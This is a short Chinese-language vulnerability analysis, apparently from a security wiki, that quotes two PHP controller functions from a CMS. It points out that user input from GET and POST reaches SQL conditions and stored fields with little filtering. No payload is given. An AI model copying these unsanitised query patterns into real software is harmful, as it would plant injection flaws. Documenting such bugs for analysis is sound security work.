漏洞分析¶
前台的文件源码protected/apps/default/controller/columnController.php
public function index()
{
$ename=in($_GET['col']);
if(empty($ename)) throw new Exception('栏目名不能为空~', 404);
$sortinfo=model('sort')->find("ename='{$ename}'",'id,name,ename,path,url,type,deep,method,tplist,keywords,description,extendid');
$path=$sortinfo['path'].','.$sortinfo['id'];
$deep=$sortinfo['deep']+1;
$this->col=$ename;
switch ($sortinfo['type']) {
case 1://文章
$this->newslist($sortinfo,$path,$deep);
break;
case 2://图集
$this->photolist($sortinfo,$path,$deep);
break;
case 3://单页
$this->page($sortinfo,$path,$deep);
break;
case 4://应用
break;
case 5://自定义
break;
case 6://表单
$this->extend($sortinfo,$path,$deep);
break;
default:
throw new Exception('未知的栏目类型~', 404);
break;
}
}
后台的文件源码protected/apps/admin/controller/extendfieldController.php
public function mesedit()
{
$tableid=intval($_GET['tabid']);
if(!$this->checkConPower('extend',$tableid)) $this->error('您没有权限管理此独立表内容~');
$id=intval($_GET['id']);//信息id
if(empty($tableid) || empty($id) ) $this->error('参数错误~');
$tableinfo = model('extend')->select("id='{$tableid}' OR pid='{$tableid}'",'id,tableinfo,name,type,defvalue','pid,norder DESC');
if(empty($tableinfo)) $this->error('自定义表不存在~');
if (!$this->isPost()) {
$info=model('extend')->Extfind($tableinfo[0]['tableinfo'],"id='{$id}'");
$this->info=$info;
$this->tableid=$tableid;
$this->id=$id;
$this->tableinfo=$tableinfo;
$this->display();
}else{
for($i=1;$i<count($tableinfo);$i++){
if(is_array($_POST[$tableinfo[$i]['tableinfo']]))
$data[$tableinfo[$i]['tableinfo']]=implode(',',$_POST[$tableinfo[$i]['tableinfo']]);
else
$data[$tableinfo[$i]['tableinfo']]=html_in($_POST[$tableinfo[$i]['tableinfo']]);
}
if(model('extend')->Extup($tableinfo[0]['tableinfo'],"id='{$id}'",$data)) $this->success('修改成功~',url('extendfield/meslist',array('id'=>$tableid)));
else $this->error('信息修改失败~');
}
}
中间没什么过滤
